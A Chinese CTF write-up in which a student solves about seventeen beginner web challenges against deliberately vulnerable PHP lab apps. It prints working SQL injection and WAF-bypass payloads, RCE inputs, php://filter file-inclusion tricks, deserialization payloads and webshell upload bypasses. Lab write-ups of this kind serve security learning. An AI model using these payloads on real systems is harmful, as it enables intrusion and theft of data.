- 第一关是在根据题目提示是在F12里一开始漫无目的的寻找,回头再看看题的时候发现他有提示:看到这都还没找到,有点蠢……然后便往回找,最终找到,第一道题看来是给出的礼物hhhhhhhh
- 第二关是题目提示是菜刀,但是习惯用蚁剑的我便开始了我的蚁剑之旅,点开环境大大的写着密码是wllm,我非常不好意思的直接连接,找到了flag第二关结束
- 第三关的题目提示是基操,给我看的蒙蒙的,点开环境仔细读代码原来是让post传id=wllm然后get传json其中json需要用json格式,代码如下:
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
那么就是打开火狐浏览器?json={"x":"wllm"}然后post方式id=wllmNB
找到flag
- 第四题的题目问我知道http嘛,那我就要打开我的薄荷了,打开环境后他让我用WLLM的浏览器,这我直接一个抓包然后改掉User-Agent,将WLLM四个大字母放到后面,得意洋洋的放包,结果它告诉我:
这好烦啊,火狐浏览器可以改代理但是没有switchysharp,那我只好再刷新然后在close前加一个
referer: 127.0.0.1
X-Forwarded-For:127.0.0.1
呼!拿到flag了下一题下一题
- 第五题题目提示是easy的md5,这我要看看到底多一贼,代码如下:
<?php
highlight_file(__FILE__);
include 'flag2.php';
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}
}
else {
echo 'wrong!';
}
?>
wrong!
嗬,&&的第一个条件是$name不等于$password,这家伙,我直接get:?name[]=1同时post:password[]=2!!!!拿下拿下!
- 第六题啦题目是简单的sql注入那我上来一个?id=1'发现不存在sql注入漏洞,不是吧不是吧我又看了一眼题,确定是sql注入啊,百思不得其解的时候我看了网站的标题参数是wllm!!!!把id改为wllm的我直接一套基操
?wllm=1' order by 3%23
?wllm=1' order by 4%23
得到有三个位置
?wllm=0%27%0aUNION%0aSELECT%0a1,GROUP_CONCAT(%27<br>%27,TABLE_NAME),3%0aFROM%0aINFORMATION_SCHEMA.TABLES%0aWHERE%0aTABLE_SCHEMA=DATABASE()%23
查到有两张表
test_tb,
users
行吧那就:
?wllm=0' union select 1,group_concat('<br>',column_name),3 from information_schema.columns where table_schema=database() and table_name='users'%23
很伤心,得到了
id,
username,
password
那么flag一定在test_tb里,冲冲冲!!
?wllm=0' union select 1,group_concat('<br>',column_name),3 from information_schema.columns where table_schema=database() and table_name='test_tb'%23
得到
id,
flag
话不多说
?wllm=0' union select 1,flag,3 from test_tb %23
拿到flag我就跑,嘿嘿。
- 第七题是文件上传啦,小心翼翼试试一句话木马,不行啊!然后再上传一个图片试试,哎!~图片可以!!我记得考核大纲上有mini验证那就改掉content-Type:image/jpeg
上传成功!哎打开我的蚁剑,拿下拿下!
- 第八题还是文件上传但是是2.0哈哈哈哈哈哈哈
我迫不及待的打开环境然后
不是前端验证
不是mini验证
不是00截断
不是黑名单过滤不全:12345
不是.htaccess绕过
不是黑名单大小写过滤不全
不是空格后缀名绕过
不是.号绕过
这就很恼火哦,我试着上传图片,发现图片和php上传拦截几乎一样,那就是文件后缀的问题,既然php不行,那就上传图片,后缀改成phtml然后在图片的乱码中插入我的一句话
上传成功!!!打开蚁剑,结束结束!
- 第九题不一样了题目告诉我是简单的rce,这家伙!那我打开环境看看吧,代码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>
这这这!!!让我远程url函数?那我可不客气了
?url=system(ls);
得到了:
那就:
?url=system("ls%20/");
得到了:
那就:
?url=system("cat /f*");
拿下!!!
- 第十题是babyrce,代码如下:
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!
嗬!临时凭证!我打开薄荷刷新页面cookie改为admin=1得到:
那我肯定打开 rasalghul.php
得到代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>
?url=system(ls);
返回了原页面。。。。。。。
?url=system("ls /");
返回了原页面
那我只好
我再
?url=system("ls$IFS/");
……(此处省略我的坐牢过程)
我试了又试发现不行便看了看网页源代码,发现已经有函数了,那就只好
?url=ls%09/
?url=cat%09/f*
拿下拿下!!
- 第十一题就有意思了,他问我题在哪,我还想知道呢!不知道怎么办的我打开网页源代码,发现最后注释了个东西,
第一条是:User-agent,即搜索引擎蜘蛛的名称;第二条是:Disallow,即要拦截的部分。
这家伙!这不就是robots.txt嘛。打开robots.txt文件得到:
那我就只好继续打开cl45s.php。。。得到代码:
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
那就开始写payload吧
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
拿下!!
另外我记得老师教过这个的poc?
来吧来吧
<?php
class wllm{
public $admin="admin";
public $passwd="ctf";
public function __construct(){
$this->admin ="admin";
$this->passwd = "ctf";
}
}
$a =new wllm();
echo urlencode(serialize($a));
?>
菜鸟工具php在线运行得到
O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D
那我就不客气了?
p=O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D
拿下拿下
- 第十二题的题目是include那就是文件包含漏洞了!!他让我传一个file试试,挑衅我??哈哈哈我直接?file=flag.php!切,就给我这个
<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
show_source(__FILE__);
echo 'flag 在flag.php中';
}else{
echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中
伪协议伪协议!!冲冲冲
/?file=php://filter/read=convert.base64-encode/resource=flag.php
得到了base64加密后的字符串,解密一下吧!
拿下!!
<?php
$flag='NSSCTF{21b4b384-bd90-4c7a-81ee-b9adfde20004}';
- 十三题的题目是error 报错注入啦?!!现学现卖的我学到报错注入就是人为的制造错误条件,是查询结果出现在错误信息中,往往和联合查询一起用报错注入的函数有
报错注入函数之updatexml()
payload:
?id=1' and (updatexml(1,concat(0x7e,(select users()),0x7e),1));%23
其中0x7e是十六进制的一个编码符号,解码为~,也可以写为‘~’。(注意单引号)这个语句中select user()可以替换成任意联合查询的语句
updatexml是一个更新目标这个xml文档的一个函数
1那个位置是写入的目标文档,所以写个1就行,不用真的写目标文档
select user()这个位置是更新路径,后面的1是更新后路径,所以在select user()位置可以修改语句达到查询的目的!总的来说,语法为:
update(目标xml文档,xml路径,更新内容)
后续操作为:
(1)更改select user()位置的sql语句
(2)获取当前库中的表
?id=1' and (updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'),1))%23
获取当前库中的第一张表,后面只需要慢慢更改limit的位置即可
(3)获取某表字段修改select user()位置,方法和联合查询一样。
报错注入函数之extractvalue()
payload:
?id=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))%23
步骤与updatexml()相同
extractvalue()函数负责在xml文档中安装xpath语法查询节点内容的函数与updatexml函数相似,所以这两个函数也称为xpath注入函数
报错注入函数之floor()
payload:
?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
主要利用的原理是主键重复,因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存在临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。
后续操作是更改user()那个位置的sql语句即可
- 第十四题又是个文件上传啦!提示我们与某些文件配合!图片木马??好像传上去没法利用了呢!
那就上传.htaccess试试??然后上传带一句话的图片!
蚁剑一下。。。。。成功了
- 第十五题no_wakeup反序列化了
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
反序列化问题学习中老师教我先看代码!这个是创建对象
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}
类型有很多
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
但是要绕过wakeup那么就改为
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
拿下!!!
- 第十六题是PseudoProtocols,打开后他告诉我找hint.php但是看域名的后缀明明是文件包含的样子啊!!然后我就/index.php?wllm=hint.php啥也没有。这就很恼火了,思路断了啊,打开百度查一查,发现hint.php里面可以调用include函数,那就再来个伪协议!!!
/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php
得到PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4=
好了,md5解密吧。得到
<?php
//go to /test2222222222222.php
?>
那就go!go!go!得到代码:
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
file_get_contents!!!!这这这!!伪协议嘛!
Get:a=php://input
Post: I want flag
拿下!!
- 第十七题是sql注入给我显示Want Me? Cross the Waf那我只好用薄荷打开爆破模块查看禁用的字符
这可真烦人啊!!大小写?!
百度帮我解决困难!%0a可以代替空格!<>是不等于!是非!(table_schema<>xxx)来代替=
或者用like!!
/?wllm=0'%0aUNiON%0aSElECT%0a1,2,(sElEct/**/group_concat(tablE_namE)/**/from/**/infOrmation_schEma.tablEs/**/whErE/**/tablE_schEma/**/likE/**/'tEst_db')%23
/?wllm=0'%0aUNiON%0aSElECT%0a1,2,(sElEct/**/group_concat(column_namE)/**/from/**/infOrmation_schEma.columns/**/whErE/**/tablE_Name/**/likE/**/'LTLT_flag')%23
取到的虽然不是整个flag,但是我们有mid函数哈哈哈哈哈
拿下拿下!!
这是我会做的全部题啦,写的不是很详细,后续会记录我学习这些的过程,来详细的写每一个题啦!当然我还有好多不会做,这些就要靠我进团队之后dalao带着我了,希望团队大佬可以带我向着网络安全更深处进发!!
finalrce
hardrce
pop
babyunser
hardrce_3
没有做出来的题是这些!等我做出来再发下一个文啦!